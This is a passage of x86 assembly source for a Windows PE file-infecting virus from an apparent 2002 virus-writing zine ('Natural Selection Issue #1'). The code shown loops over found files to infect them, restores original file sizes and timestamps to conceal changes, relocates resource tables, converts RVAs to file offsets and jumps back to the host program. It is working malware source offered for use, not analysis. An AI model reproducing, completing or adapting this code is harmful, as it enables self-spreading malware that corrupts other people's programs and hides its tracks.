; Fix up Import Address Table (12) done by imports fixup
|
|
; Fix up Delay Import (13)
|
|
; Fix up COM Runtime Descriptor (14)
|
|
|
|
InfectableNo:
|
|
UnmapAndClose:
|
|
call [ebp+_UnmapViewOfFile]
|
|
call [ebp+_CloseHandle]
|
|
mov ebx, [esp] ; Reset File Size
|
|
call [ebp+_SetFilePointer], ebx, [ebp+FileFind].fd_nFileSizeLow, 0, FILE_BEGIN
|
|
call [ebp+_SetEndOfFile], ebx
|
|
lea eax, [ebp+FileFind].fd_ftCreationTime
|
|
lea ecx, [ebp+FileFind].fd_ftLastAccessTime
|
|
lea edx, [ebp+FileFind].fd_ftLastWriteTime
|
|
call [ebp+_SetFileTime], ebx, eax,ecx,edx
|
|
CloseAndExitInfector:
|
|
call [ebp+_CloseHandle]
|
|
FindTheNextFile:
|
|
lea eax, [ebp+FileFind]
|
|
call [ebp+_FindNextFileA], dword ptr [ebp+FileFindHnd], eax
|
|
or eax, eax
|
|
jnz InfectNextFile
|
|
|
|
ExitInfector:
|
|
mov esp, ebp
|
|
pop ebp
|
|
db 0E9h ; jmp VirEnd (full displacement)
|
|
HostFileEntryPoint:
|
|
dd offset VirEnd - offset HostFileEntryPoint - 4
|
|
|
|
; Fix up resource
|
|
; edi = base address of resource
|
|
; edx = current shit
|
|
; ebx = reloc amount
|
|
FixupResource:
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
movzx ecx, [edx].res_NumNameEntry
|
|
movzx eax, [edx].res_NumIDEntry
|
|
add ecx, eax
|
|
add edx, size RESOURCETABLE
|
|
FixResourceLoop:
|
|
; no need to mess with [edx].resent_ID
|
|
; it's either an 31-bit integer or the top bit is set and it's a
|
|
; relative displacement from the resource base address
|
|
FixResourceIsID:
|
|
mov eax, [edx].resent_Next
|
|
or eax, eax
|
|
js short FixResourceRecurse
|
|
add [edi+eax], ebx ; Fix RVA
|
|
jmp short FixResourceNext
|
|
FixResourceRecurse:
|
|
btc eax,31 ; kill top bit
|
|
push edx ; save current position
|
|
lea edx, [edi+eax] ; find pos of next res dir
|
|
call FixupResource ; Recursively fix
|
|
pop edx
|
|
FixResourceNext:
|
|
add edx, size RESOURCEENTRY
|
|
loop FixResourceLoop
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
ret
|
|
|
|
|
|
; From RVA calculate Physical offset
|
|
; Enter
|
|
; eax = RVA
|
|
; esi = Start Of Memory mapped PE file.
|
|
; Leave:
|
|
; eax = Mem map Address
|
|
RVA2Addr:
|
|
push ebx
|
|
push edx
|
|
push ecx
|
|
push esi
|
|
push edi
|
|
movzx edi, word ptr [esi+3Ch]
|
|
add edi, esi
|
|
movzx edx, [edi].SizeOfOptionalHeader
|
|
movzx ecx, [edi].NumberOfSections
|
|
lea edx, [edi+edx+18h] ; Start of Section table
|
|
mov ebx, [edx].sec_VirtualAddress
|
|
mov esi, [edx].sec_PointerToRawData
|
|
SectionLoop1:
|
|
cmp ebx, [edx].sec_VirtualAddress
|
|
jae short SkipSecLoop1
|
|
cmp eax, [edx].sec_VirtualAddress
|
|
jb short SkipSecLoop1
|
|
mov ebx, [edx].sec_VirtualAddress
|
|
mov esi, [edx].sec_PointerToRawData
|
|
SkipSecLoop1:
|
|
add edx, size SECTION
|
|
loop SectionLoop1
|
|
sub eax, ebx
|
|
add eax, esi
|
|
pop edi
|
|
pop esi
|
|
add eax, esi
|
|
pop ecx
|
|
pop edx
|
|
pop ebx
|
|
ret
|
|
|
|
|
|
VirEnd:
|
|
call ExitProcess, 0
|
|
end start
|
|
|
|
COMMENT ` ---------------------------------------------------------------- )=-
|
|
-=( Natural Selection Issue #1 --------------- (c) 2002 Feathered Serpents )=-
|
|
-=( ---------------------------------------------------------------------- ) `
|